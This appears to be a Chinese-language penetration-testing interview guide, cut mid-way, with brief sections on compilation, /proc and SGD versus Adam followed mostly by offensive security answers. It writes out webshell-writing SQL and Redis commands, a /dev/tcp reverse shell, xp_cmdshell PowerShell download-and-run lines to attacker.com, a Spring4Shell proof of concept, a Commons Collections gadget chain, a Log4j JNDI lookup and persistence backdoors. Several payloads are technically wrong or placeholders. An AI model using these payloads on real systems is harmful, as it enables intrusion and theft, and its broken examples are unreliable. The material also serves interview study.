    mov edi, offset .LC0
    call printf
    nop
    leave
    ret

4. 程序的编译和链接

编译过程：

预处理：处理头文件和宏定义。
编译：将预处理后的代码编译为汇编代码。
汇编：将汇编代码转换为机器码。
链接：将多个目标文件链接成一个可执行文件。

示例代码：

// main.c
#include "example.h"

int main() {
    example_function();
    return 0;
}

// example.h
#ifndef EXAMPLE_H
#define EXAMPLE_H

void example_function();

#endif

// example.c
#include <stdio.h>

void example_function() {
    printf("Hello from example_function!\n");
}

编译和链接命令：

1
2
3

gcc -c main.c -o main.o
gcc -c example.c -o example.o
gcc main.o example.o -o program

编译原理：

预处理：展开头文件和宏。
编译：将C代码转换为汇编代码。
汇编：将汇编代码转换为机器码。
链接：将多个目标文件合并为一个可执行文件。

If/Else语法树：

If-Else Statement
├── Condition: (a > 5)
├── Then Block:
│   └── Print: "a is greater than 5"
└── Else Block:
    └── Print: "a is less than or equal to 5"

5. Linux /proc目录和查看进程打开的文件

查看进程打开的文件：

通过/proc/[pid]/fd目录：
1
ls -l /proc/[pid]/fd
使用lsof命令：
1
lsof -p [pid]

示例代码：

# 查看当前进程的打开文件
ls -l /proc/self/fd

# 查看特定进程的打开文件
lsof -p 1234

6. SGD和Adam的区别

SGD（随机梯度下降）：

原理：每次更新参数时，使用单个样本的梯度。
优点：计算效率高，适合大规模数据。
缺点：收敛速度较慢，容易陷入局部最优。

Adam（Adaptive Moment Estimation）：

原理：结合动量和自适应学习率的方法。
优点：收敛速度快，适合非凸优化问题。
缺点：参数较多，需要调优。

示例代码（PyTorch）：

import torch
import torch.nn as nn
import torch.optim as optim

# 定义模型
model = nn.Linear(10, 1)

# 使用SGD优化器
sgd_optimizer = optim.SGD(model.parameters(), lr=0.01)

# 使用Adam优化器
adam_optimizer = optim.Adam(model.parameters(), lr=0.001)

# 损失函数
criterion = nn.MSELoss()

# 模拟训练
inputs = torch.randn(100, 10)
targets = torch.randn(100, 1)

for epoch in range(10):
    # 前向传播
    outputs = model(inputs)
    loss = criterion(outputs, targets)
    
    # 反向传播和优化（SGD）
    sgd_optimizer.zero_grad()
    loss.backward()
    sgd_optimizer.step()
    
    # 反向传播和优化（Adam）
    adam_optimizer.zero_grad()
    loss.backward()
    adam_optimizer.step()

Adam更新规则：

# Adam更新规则的伪代码
m = beta1 * m + (1 - beta1) * g
v = beta2 * v + (1 - beta2) * (g ** 2)
m_hat = m / (1 - beta1 ** t)
v_hat = v / (1 - beta2 ** t)
theta = theta - lr * m_hat / (torch.sqrt(v_hat) + epsilon)

Java反序列化原理和工具

Java反序列化是将字节流转换为Java对象的过程。反序列化漏洞通常发生在未验证的输入被反序列化时，可能导致远程代码执行。常见的反序列化工具包括ysoserial，用于生成恶意的序列化对象。

示例：

import java.io.*;

public class SerializeExample {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));
        oos.writeObject(new SerializableClass());
        oos.close();

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
        SerializableClass obj = (SerializableClass) ois.readObject();
        ois.close();
    }
}

class SerializableClass implements Serializable {
    private static final long serialVersionUID = 1L;
}

Shiro反序列化工具的原理

Apache Shiro是一个Java安全框架，其反序列化漏洞（如CVE-2016-4437）通常与rememberMe功能有关。攻击者可以通过构造恶意的序列化对象，触发反序列化漏洞，执行任意代码。工具如ShiroExploit利用了Shiro的rememberMe功能，生成恶意的Cookie值，用于攻击。

示例：

import org.apache.shiro.crypto.AesCipherService;

public class ShiroExploit {
    public static void main(String[] args) throws Exception {
        AesCipherService cipher = new AesCipherService();
        String key = "your-secret-key";
        String payload = "malicious-payload";
        String encrypted = cipher.encrypt(payload.getBytes(), key.getBytes()).toBase64();
        System.out.println("RememberMe: " + encrypted);
    }
}

安全研究员

SSRF的绕过和防御

SSRF绕过

URL黑名单绕过：
- 使用IP的十进制或八进制表示（如127.0.0.1可以表示为2130706433或017700000001）。
- 使用URL编码或大小写变体对敏感字符串进行模糊处理。
- 注册一个解析到目标IP的域名（如spoofed.burpcollaborator.net）来绕过过滤。
URL白名单绕过：
- 利用@符号进行HTTP基本身份认证，例如http://expected-host:fakepassword@evil-host。
- 使用#符号的片段标识符，例如http://evil-host#expected-host。
- 利用DNS命名层次结构，例如http://expected-host.evil-host。
URL重定向绕过：
- 利用开放重定向漏洞，例如构造一个满足过滤器的URL，然后通过重定向访问目标地址。
DNS重绑定绕过：
- 配置一个自定义的恶意DNS服务器，设置TTL为0，使域名解析在合法和非法IP之间切换。

SSRF防御

严格的输入验证：
- 仅允许访问预定义的白名单主机和端口，禁止内网IP、localhost、特殊协议（如file、gopher等）。
- 禁用高危协议，仅允许HTTP/HTTPS。
限制请求范围：
- 使用防火墙规则限制服务器对外部网络的访问权限。
随机令牌验证：
- 对需要发起服务器端请求的操作，增加随机令牌作为请求的一部分。
回源限制：
- 设置正确的回源策略，避免因回源请求暴露内网。

Fastjson和Jackson反序列化原理

Fastjson

Fastjson通过JSON.parseObject方法将JSON字符串反序列化为Java对象。其核心机制是：

动态类加载：通过Class.forName动态加载类。
反射调用：使用反射调用类的构造方法或set方法设置属性值。
漏洞利用：攻击者可以利用@Type注解指定恶意类，触发反序列化漏洞。

import com.alibaba.fastjson.JSON;

public class FastjsonExploit {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"java.lang.Runtime\",\"exec\":\"calc\"}";
        JSON.parseObject(payload, Object.class);
    }
}

Jackson

Jackson通过ObjectMapper类将JSON字符串反序列化为Java对象。其核心机制是：

类型解析：通过@JsonTypeInfo注解指定类型信息。
反射调用：使用反射调用类的构造方法或set方法设置属性值。
漏洞利用：攻击者可以利用@JsonTypeInfo注解指定恶意类，触发反序列化漏洞。

import com.fasterxml.jackson.databind.ObjectMapper;

public class JacksonExploit {
    public static void main(String[] args) throws Exception {
        String payload = "{\"@type\":\"java.lang.Runtime\",\"exec\":\"calc\"}";
        ObjectMapper mapper = new ObjectMapper();
        mapper.readValue(payload, Object.class);
    }
}

BCEL可以用其他类加载器吗

BCEL（Byte Code Engineering Library）可以动态生成和操作Java字节码。通过自定义类加载器，可以加载生成的字节码，从而绕过默认类加载器的限制。例如：

import org.apache.bcel.classfile.ClassParser;
import org.apache.bcel.classfile.JavaClass;

public class CustomClassLoader extends ClassLoader {
    public Class<?> loadClass(byte[] bytecode) {
        return defineClass(null, bytecode, 0, bytecode.length);
    }
}

XStream反序列化

XStream通过fromXML方法将XML字符串反序列化为Java对象。其核心机制是：

类型解析：通过<object-type>标签指定类类型。
反射调用：使用反射调用类的构造方法或set方法设置属性值。
漏洞利用：攻击者可以指定恶意类，触发反序列化漏洞。

import com.thoughtworks.xstream.XStream;

public class XStreamExploit {
    public static void main(String[] args) {
        XStream xstream = new XStream();
        String payload = "<java.lang.Runtime><exec>calc</exec></java.lang.Runtime>";
        xstream.fromXML(payload);
    }
}

RMI原理以及相关漏洞

RMI原理

RMI（Remote Method Invocation）允许Java对象在不同JVM之间调用方法。其工作流程包括：

注册服务：通过RMIRegistry注册服务。
远程调用：客户端通过Naming.lookup获取远程对象的引用。
方法调用：客户端调用远程对象的方法，参数和返回值通过序列化传递。

RMI漏洞

未授权访问：未对远程方法调用进行身份验证。
反序列化漏洞：攻击者可以通过恶意序列化数据触发反序列化漏洞。
防御措施：
- 使用身份验证机制。
- 禁用不必要的RMI服务。
- 使用防火墙限制RMI服务的访问。

JdbcRowSetImpl如何触发JNDI注入

JdbcRowSetImpl通过setDataSourceName方法设置数据源名称，如果数据源名称包含JNDI引用，则会触发JNDI注入。例如：

import javax.sql.rowset.JdbcRowSet;
import javax.sql.rowset.RowSetProvider;

public class JdbcRowSetExploit {
    public static void main(String[] args) throws Exception {
        JdbcRowSet jrs = RowSetProvider.newFactory().createJdbcRowSet();
        jrs.setDataSourceName("rmi://attacker.com:1099/Exploit");
        jrs.setCommand("SELECT * FROM users");
        jrs.execute();
    }
}

长亭科技

MySQL 报错注入常用的函数

**floor()**：

原理：通过 floor(rand(0)*2) 的重复性，导致 group by 语句出错。

payload：

1	'union select 1 from (select count(),concat((select database()),floor(rand(0)2))x from information_schema.tables group by x)a--

**extractvalue()**：
- 原理：通过不符合 XPath 语法的字符串触发错误。
- payload：
  1
  'and(select extractvalue(1,concat(0x7e,(select database()))))--
**updatexml()**：
- 原理：与 extractvalue() 类似，通过不符合 XPath 语法的字符串触发错误。
- payload：
  1
  'and(select updatexml(1,concat(0x7e,(select database())),0x7e))--

报错注入绕过 WAF

编码混淆：
- 使用 URL 编码或 Unicode 编码绕过 WAF 检测。
- 示例：
  1
  'and(select extractvalue(1,concat(0x7e,(select database()))))--
拆分查询：
- 将 SQL 查询拆分为多个部分，分别注入，最后组合成完整的查询。
- 示例：
  1
  'and(select extractvalue(1,concat(0x7e,(select database()))))--

协议特性：

利用 HTTP 头或 Cookie 参数注入 SQL 代码。

示例：

1	User-Agent: 'and(select extractvalue(1,concat(0x7e,(select database()))))--

MySQL 写文件的函数

INTO OUTFILE：
- 用于将查询结果写入文件。
- 限制：
  - 需要 FILE 权限。
  - 文件必须位于 MySQL 服务器的文件系统上。
  - 文件路径必须是绝对路径。
  - 文件不能已存在。
- 示例：
  1
  SELECT * FROM table INTO OUTFILE '/var/www/html/file.txt';
LOAD DATA INFILE：
- 用于从文件中加载数据到表中。
- 示例：
  1
  LOAD DATA INFILE '/var/www/html/file.txt' INTO TABLE table;

MySQL 提权

通过写文件提权：
- 使用 INTO OUTFILE 或 LOAD DATA INFILE 写入 Webshell。
- 示例：
  1
  SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
利用 MySQL 用户权限：
- 如果 MySQL 用户有 FILE 权限，可以写入文件到 Web 目录。
- 示例：
  1
  SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

SQL Server 除了 SQL 注入外的渗透方式

存储过程：
- 利用存储过程执行系统命令。
- 示例：
  1
  EXEC xp_cmdshell 'dir C:\';
权限滥用：
- 利用高权限用户执行恶意操作。
- 示例：
  1
  EXEC sp_addlogin 'newuser', 'password';
中间件漏洞：
- 利用中间件如 PHP、Java 的漏洞进行渗透。

Redis 主从复制漏洞

主从复制：
- 攻击者可以配置一个 Redis 从节点，连接到目标 Redis 服务器，获取数据。
- 示例：
  1
  redis-cli -h target_host -p 6379 slaveof attacker_host 6379

RCE：

通过 Redis 配置文件写入恶意内容，触发 RCE。

示例：

1
2
3

redis-cli -h target_host -p 6379 CONFIG SET dir /var/www/html
redis-cli -h target_host -p 6379 CONFIG SET dbfilename shell.php
redis-cli -h target_host -p 6379 SET shell.php "<?php system($_GET['cmd']); ?>"

Redis 未授权访问如何获得服务器权限

写入 Webshell：

通过 Redis 写入 Webshell 到 Web 目录。

示例：

1
2
3

redis-cli -h target_host -p 6379 CONFIG SET dir /var/www/html
redis-cli -h target_host -p 6379 CONFIG SET dbfilename shell.php
redis-cli -h target_host -p 6379 SET shell.php "<?php system($_GET['cmd']); ?>"

反弹 shell：

利用 Redis 写入反弹 shell 的脚本。

示例：

1	redis-cli -h target_host -p 6379 SET shell.php "<?php exec('bash -c \"bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1\"'); ?>"

任意文件读取，一般读取什么类型的文件

敏感配置文件：
- /etc/passwd、/etc/shadow、/etc/hosts。
- 示例：
  1
  cat /etc/passwd
Web 配置文件：
- /etc/nginx/nginx.conf、/etc/apache2/apache2.conf。
- 示例：
  1
  cat /etc/nginx/nginx.conf
应用配置文件：
- web.config、application.properties。
- 示例：
  1
  cat /var/www/html/web.config

如何通过文件读取获取到 Web 的绝对路径

读取 Web 配置文件：
- 通过读取 /etc/nginx/nginx.conf 或 /etc/apache2/apache2.conf 获取 Web 根目录。
- 示例：
  1
  cat /etc/nginx/nginx.conf | grep root
读取 Web 应用文件：
- 通过读取 Web 应用的配置文件获取绝对路径。
- 示例：
  1
  cat /var/www/html/web.config | grep path

/etc/passwd 文件内容

/etc/passwd 文件包含系统中所有用户的信息，每个用户占一行，字段之间用冒号分隔。文件格式如下：

用户名：用户的登录名。
密码：早期系统中存放加密后的密码，现代系统中通常为 x，表示密码存放在 /etc/shadow 中。
**用户 ID (UID)**：用户的唯一标识符。
**组 ID (GID)**：用户所属组的唯一标识符。
用户描述：用户的真实姓名或描述信息。
主目录：用户的登录目录。
登录 shell：用户登录时启动的 shell。

示例：

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

正向代理和反向代理的区别

正向代理：
- 定义：正向代理是一个位于客户端和目标服务器之间的中间服务器，用于代理客户端的请求。
- 工作方式：客户端配置代理服务器地址，代理服务器向目标服务器转发请求并返回响应。
- 应用场景：用于隐藏客户端真实 IP，访问受限资源，或进行请求过滤。
反向代理：
- 定义：反向代理是一个位于服务器端的中间服务器，用于代理服务器的响应。
- 工作方式：客户端直接访问代理服务器，代理服务器向后端服务器转发请求并返回响应。
- 应用场景：用于负载均衡、缓存、SSL 终止、隐藏后端服务器真实 IP 等。

Python 是否是真正的多线程

Python 的多线程由于全局解释器锁（GIL）的存在，并不是真正的多线程。GIL 机制确保同一时刻只有一个线程在解释器中执行，因此在 CPU 密集型任务中，Python 的多线程并不能充分利用多核 CPU。

示例代码：

import threading
import time

def cpu_bound_task():
    sum = 0
    for i in range(10000000):
        sum += i
    print(f"Sum: {sum}")

threads = []
for _ in range(4):
    t = threading.Thread(target=cpu_bound_task)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

和信息安全相关的 HTTP 响应头

Strict-Transport-Security：
- 强制浏览器使用 HTTPS 访问网站。
- 示例：
  1
  Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options：
- 防止点击劫持。
- 示例：
  1
  X-Frame-Options: SAMEORIGIN
X-XSS-Protection：
- 启用或禁用 XSS 保护。
- 示例：
  1
  X-XSS-Protection: 1; mode=block
X-Content-Type-Options：
- 禁用 MIME 类型嗅探。
- 示例：
  1
  X-Content-Type-Options: nosniff
Content-Security-Policy：
- 定义页面可以加载哪些资源。
- 示例：
  1
  Content-Security-Policy: default-src 'self'

WebLogic 反序列化原理

XML 反序列化漏洞：

WebLogic 的 XML 反序列化存在漏洞，攻击者可以构造恶意 XML 数据，导致远程代码执行。

示例：

<xml>
    <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/bash</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>touch /tmp/hacked</string>
            </void>
        </array>
    </void>
</xml>

后台文件上传漏洞：
- 攻击者可以通过后台文件上传功能上传恶意文件（如 Webshell），从而获取服务器权限。
二次 URLDecode 权限绕过：
- 攻击者可以通过二次 URL 编码绕过输入验证，访问受限资源。

内存马相关原理

内存马是一种驻留在内存中的恶意代码，通常通过反序列化漏洞或其他内存操作漏洞注入。内存马不会写入磁盘，因此难以被传统防病毒软件检测到。

示例代码：

// Java 内存马示例
public class MemoryHorse implements Serializable {
    private static final long serialVersionUID = 1L;

    private transient Runnable horse;

    public MemoryHorse(Runnable horse) {
        this.horse = horse;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        if (horse != null) {
            horse.run();
        }
    }
}

Shiro 反序列化漏洞利用时的 WAF 绕过

更换 HTTP 头：
- 如果 WAF 拦截了特定的 HTTP 头，可以尝试使用其他头传递数据。
将 loader 写入 Cookie：
- 将 loader 代码写入 Cookie，避免 HTTP 头过长的问题。
将 shellcode 写入请求体：
- 将 shellcode 放在请求体中，避免 HTTP 头长度限制。

示例代码：

import requests

# 将 loader 写入 Cookie
cookies = {
    'loader': 'Base64 encoded loader code'
}

# 将 shellcode 写入请求体
data = {
    'shellcode': 'Base64 encoded shellcode'
}

response = requests.post('http://target.com/vulnerable', cookies=cookies, data=data)

ysoserial 原理和 CommonCollections 利用链

ysoserial：
- ysoserial 是一个用于生成 Java 反序列化漏洞利用链的工具。
- 它利用了 Java 类库中的 gadgets 构造反序列化链。
CommonCollections 利用链：
- CC1：利用 InvokerTransformer 和 LazyMap 构造恶意链。
- CC2：利用 ConstructorConstructor 和 TransformingClassLoader 构造恶意链。
- CC3：利用 ChainedTransformer 和 LazyMap 构造恶意链。

示例代码：

// 使用 ysoserial 生成 payload
public class CC1_Exploit {
    public static void main(String[] args) throws Exception {
        String command = "touch /tmp/hacked";
        Transformer[] transformers = new Transformer[]{};
        transformers[0] = new ConstantTransformer(Runtime.class);
        transformers[1] = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]});
        transformers[2] = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
        transformers[3] = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command});

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        Map outerMap = new HashMap();
        outerMap.put("value", lazyMap);

        Constructor constructor = TiedMapEntry.class.getDeclaredConstructor(Map.class, Object.class);
        constructor.setAccessible(true);
        TiedMapEntry entry = constructor.newInstance(outerMap, "value");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
        oos.writeObject(entry);
        oos.close();
    }
}

Java、PHP、Python 反序列化的区别和相同点

Java 反序列化

需要利用链：Java 反序列化通常需要利用反序列化链来触发漏洞。反序列化链是指通过一系列的类和方法调用，最终实现恶意代码的执行。

示例：

import java.io.*;

public class JavaDeserialize {
    public static void main(String[] args) {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("malicious.ser"))) {
            ois.readObject();
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

PHP 反序列化

需要利用链：PHP 反序列化同样需要利用反序列化链来触发漏洞。通过 __wakeup 或 __destruct 魔术方法来执行恶意代码。

示例：

class MaliciousClass {
    public function __wakeup() {
        system("ls");
    }
}

$serialized = 'O:14:"MaliciousClass":0:{}';
unserialize($serialized);

Python 反序列化

不需要利用链：Python 的 pickle 模块支持 __reduce__ 方法，可以直接构造命令执行。

示例：

import pickle
import os

class MaliciousClass:
    def __reduce__(self):
        return (os.system, ('ls',))

malicious = MaliciousClass()
serialized = pickle.dumps(malicious)
pickle.loads(serialized)

宽字节注入原理

宽字节注入：利用多字节字符编码（如GBK）中的一些特性，通过注入特殊字符（如 %bf%27）来绕过输入验证。

示例：

1	SELECT * FROM users WHERE id = '1%bf%27';

Log4j 如何绕过 trustcodebase

Log4j 绕过：通过构造特殊的 JNDI URI 来加载恶意类，绕过 trustcodebase 的限制。

示例：

1
2
3

String jndiUri = "rmi://attacker.com/malicious";
Logger logger = LogManager.getLogger();
logger.info("${jndi:" + jndiUri + "}");

Springboot+Shiro 环境如何进行渗透

渗透方法：利用 Shiro 的反序列化漏洞，构造恶意序列化数据来执行命令。

示例：

import org.apache.shiro.util.ByteSource;
import org.apache.shiro.crypto.AesCipherService;

public class ShiroExploit {
    public static void main(String[] args) throws Exception {
        AesCipherService aes = new AesCipherService();
        String key = "your-key";
        String data = "malicious-data";
        byte[] encrypted = aes.encrypt(data.getBytes(), key.getBytes()).getBytes();
        System.out.println(ByteSource.Util.bytesToHex(encrypted));
    }
}

实战中如何判断 Fastjson 的版本

判断版本：通过发送特定的请求，观察返回的错误信息或响应内容来判断版本。

示例：

1	curl -X POST -H "Content-Type: application/json" -d '{"@type":"java.lang.Runtime","exec":"ls"}' http://target.com/api

Fastjson 文件读写 gadget

文件读写 gadget：利用 Fastjson 的反序列化漏洞，通过特定的 gadget 链来读写文件。

示例：

import com.alibaba.fastjson.JSON;

public class FastjsonExploit {
    public static void main(String[] args) {
        String json = "{\"@type\":\"java.lang.Runtime\",\"exec\":\"touch /tmp/test\"}";
        JSON.parse(json);
    }
}

内存马类型，如何检测

内存马：通过在内存中注入恶意代码来持久化攻击。
检测方法：通过监控进程内存、检查异常的内存分配和代码执行行为。

示例：

1 2	# 使用工具如 Volatility 检测内存马 volatility -f memory.dmp --profile=Win7SP1x64 malfind

Spring4Shell 原理、检测与利用

原理

Spring4Shell（CVE-2022-22965）是一个存在于 Spring 框架中的远程代码执行漏洞。该漏洞允许攻击者通过特制的 HTTP 请求在目标服务器上执行任意代码。漏洞的关键点在于 Spring 框架对嵌套属性的解析，特别是通过 BeanWrapperImpl 对象的属性访问和设置。攻击者可以利用这一机制，通过构造恶意的参数链，最终调用 AccessLogValve.setPattern 方法，将恶意代码写入日志文件并执行。

检测

自动化工具：使用如 spring4shell-scan 这样的工具进行检测。该工具通过发送特制的 HTTP 请求并分析响应来判断是否存在漏洞。
手动检测：通过构造 POC（Proof of Concept）请求，观察服务器响应是否包含预期的输出。

利用

POC 示例：

import requests

url = "http://target.com"
headers = {
    "suffix": "%>//",
    "c1": "Runtime",
    "c2": "<%",
    "DNT": "1",
    "Content-Type": "application/x-www-form-urlencoded"
}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if('j'.equals(request.getParameter('pwd'))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter('cmd')).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i"

response = requests.post(url, headers=headers, data=data)
print(response.text)

安卓系统如何进行 RCE

思路

应用漏洞：利用安卓应用中的漏洞，如未正确验证输入、未加密敏感数据等。
系统漏洞：利用安卓系统本身的漏洞，如 Stagefright 漏洞。
第三方库漏洞：利用应用中使用的第三方库的漏洞。
社会工程学：通过诱导用户安装恶意应用或点击恶意链接。

示例

利用 Stagefright 漏洞：

1 2	# 发送特制的 MP4 文件到目标设备 send_exploit.mp4 to target_device

移动端 App 服务端是 Cloud 环境的利用思路

API 漏洞：检查 API 端点是否存在未授权访问、SQL 注入等漏洞。
配置错误：检查云服务配置是否安全，如存储桶权限、API 密钥等。
中间件漏洞：利用云服务中的中间件漏洞，如 Spring4Shell。
社会工程学：通过社会工程学获取管理员凭证。

示例

检查 API 端点：

1	curl -X GET http://api.cloudservice.com/data

Shiro 如何绕 WAF

思路

编码混淆：对请求进行 URL 编码或 Base64 编码。
拆分请求：将恶意请求拆分为多个部分，分别发送。
协议特性：利用 HTTP 头或 Cookie 参数注入。

示例

编码混淆：

1	curl -H "Authorization: Basic $(echo -n "admin:$(python -c 'print "malicious_code".encode("base64")')")" http://target.com

Weblogic 打站遇到 WAF 的操作

思路

请求混淆：对请求进行编码或拆分。
绕过规则：利用 WAF 的规则漏洞，如大小写敏感、特殊字符过滤不严等。
代理转发：通过代理服务器转发请求，避免 IP 被封禁。

示例

使用代理：

1	proxychains curl -X POST -d "payload" http://target.com

Jboss 反序列化原理

原理

Jboss 使用 Java 的序列化和反序列化机制来传输对象。攻击者可以构造恶意的序列化对象，通过反序列化触发漏洞，执行任意代码。

利用

POC 示例：

import java.io.*;
import java.util.*;

public class JbossExploit {
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(new MaliciousObject());
        oos.close();

        byte[] payload = baos.toByteArray();
        // 发送 payload 到 Jboss 服务器
    }
}

class MaliciousObject implements Serializable {
    private static final long serialVersionUID = 1L;

    private void readObject(ObjectInputStream ois) throws IOException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
}

Redis 攻击、主从复制利用条件及原理

攻击方法

未授权访问：直接连接到 Redis 服务器，执行命令。
主从复制：通过配置从节点，获取主节点的数据。

主从复制原理

条件：从节点需要能够连接到主节点，并且主节点允许复制请求。
原理：从节点发送 SLAVEOF 命令到主节点，主节点将数据同步到从节点。

利用

获取 Shell：

1	redis-cli -h target_host -p 6379 SLAVEOF attacker_host 6379

TCP 和 UDP 不出网的代理策略

策略

HTTP 代理：通过 HTTP 代理转发请求。
SOCKS 代理：使用 SOCKS 代理进行流量转发。
隧道技术：使用隧道技术如 SSH 隧道。

示例

SSH 隧道：
1
ssh -D 1080 user@attacker_host

百度

JSONP 原理及绕过方法

JSONP 原理

JSONP（JSON with Padding）是一种用于解决跨域请求的技术。它利用了 <script> 标签的 src 属性不受同源策略限制的特性，通过动态创建 <script> 标签来请求数据，并以回调函数的形式处理响应。

JSONP 绕过方法

Referer 过滤不严谨：
- 攻击者可以构造 URL 来绕过 Referer 验证，例如利用 Referer 中的关键字。
- 示例：
  1
  <script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>

空 Referer 绕过：

利用 <meta> 标签或 iframe 标签调用 JavaScript 伪协议来实现空 Referer 绕过。

示例：

1 2	<meta name="referrer" content="never"> <script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>

Callback 可定义导致的安全问题：
- 如果 Callback 函数名没有严格过滤，可能导致 XSS 攻击。
- 示例：
  1
  2
  $callback = $_REQUEST['callback'];
  echo $callback."({\"data\":\"value\"})";

DOM型XSS扫描器编写

基本思路

DOM型XSS扫描器需要检测页面中的动态行为，特别是事件属性和用户交互。可以通过自动化测试工具或手动检测来发现潜在的XSS漏洞。

实现步骤

检测事件属性：

遍历页面中的所有元素，检测 onclick、onmouseover 等事件属性。

示例：

const elements = document.querySelectorAll('*');
elements.forEach(element => {
    const attributes = element.attributes;
    for (let i = 0; i < attributes.length; i++) {
        const attr = attributes[i];
        if (attr.name.startsWith('on')) {
            console.log(`Element: ${element.tagName}, Event: ${attr.name}, Value: ${attr.value}`);
        }
    }
});

动态触发事件：

使用自动化测试库（如 Selenium）模拟用户点击、鼠标移动等行为，观察是否有XSS漏洞。

示例（Selenium）：

from selenium import webdriver

driver = webdriver.Chrome()
driver.get('http://example.com')
element = driver.find_element_by_id('vulnerable_element')
element.click()

人工判断：
- 结合自动化检测结果，人工分析潜在的XSS漏洞，确认是否存在实际风险。

Linux主机留后门的各种方式

计划任务

crontab：

1
2
3

crontab -e
# 添加以下内容
* * * * * /path/to/malicious_script.sh

自启动后门

rc.local：

1	echo "/path/to/malicious_script.sh" >> /etc/rc.local

Webshell

上传 Webshell：
1
<?php system($_GET['cmd']); ?>

写注册表（Windows）

注册表启动项：

1	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Malicious /t REG_SZ /d "C:\path\to\malicious.exe"

DNS隧道搭建方式

基本原理

DNS隧道利用DNS协议传输数据，通过将数据封装在DNS请求和响应中，绕过网络限制。

实现步骤

选择工具：
- 常用工具：dnscat2、iodine、dns tunnel等。

服务器端配置：

以 dnscat2 为例：

1	sudo dnscat2 -server -domain example.com

客户端连接：
1
dnscat2-client -server example.com
数据传输：
- 通过DNS请求和响应传输数据，建立隧道。

奇安信

SQL 注入写马的方式

利用 INTO OUTFILE：将查询结果写入文件，要求数据库用户有 FILE 权限，且文件路径必须是绝对路径，文件不能已存在。
1
SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

利用 xp_cmdshell：在 SQL Server 中，通过 xp_cmdshell 执行命令写入文件。

1	EXEC xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\shell.aspx';

利用 sqlmap：sqlmap 提供了写马的功能，可以直接将马写入目标服务器。

1	sqlmap -u "http://example.com/vuln.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

Oracle 注入的直接利用方式

利用 DBMS_JOB 提交任务：通过 DBMS_JOB 提交恶意任务来执行系统命令。

DECLARE
    job_number NUMBER;
BEGIN
    DBMS_JOB.SUBMIT(
        job_number,
        'BEGIN EXECUTE IMMEDIATE ''EXEC xp_cmdshell ''''whoami''''''; END;',
        SYSDATE
    );
    COMMIT;
END;

利用 DBMS_SCHEDULER：通过 DBMS_SCHEDULER 创建任务来执行系统命令。

BEGIN
    DBMS_SCHEDULER.CREATE_JOB (
        job_name => 'MY_JOB',
        job_type => 'PLSQL_BLOCK',
        job_action => 'BEGIN EXECUTE IMMEDIATE ''EXEC xp_cmdshell ''''whoami''''''; END;',
        start_date => SYSDATE,
        enabled => TRUE
    );
END;

SQL Server 获取 shell 的方法

利用 xp_cmdshell：通过 xp_cmdshell 执行系统命令来获取 shell。

1	EXEC xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"';

利用 OLE Automation Procedures：通过 OLE Automation Procedures 执行系统命令。

1 2	EXEC sp_OACreate 'WScript.Shell', 'shell'; EXEC sp_OAMethod 'shell', 'Run', NULL, 'cmd.exe /c powershell -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"';

同源策略的绕过方式

DNS 重绑定：通过动态 DNS 服务，使浏览器认为目标域名和攻击者控制的 IP 地址是同源的。

利用 CORS 配置错误：如果目标服务器的 CORS 配置不当，可以利用此漏洞绕过同源策略。

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://target.com/data');
xhr.onload = function() {
    console.log(xhr.responseText);
};
xhr.send();

绕过基于语义检测的 WAF

编码混淆：使用 URL 编码、Unicode 编码等来绕过 WAF 检测。
1
' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END) IS NOT NULL AND '1'='1
拆分查询：将 SQL 查询拆分为多个部分，分别注入，最后组合成完整的查询。
1
' AND (SELECT 1) AND '1'='1
协议特性：利用 HTTP 头或 Cookie 参数注入 SQL 代码。
1
User-Agent: ' AND (SELECT 1) AND '1'='1

预编译场景下是否存在 SQL 注入

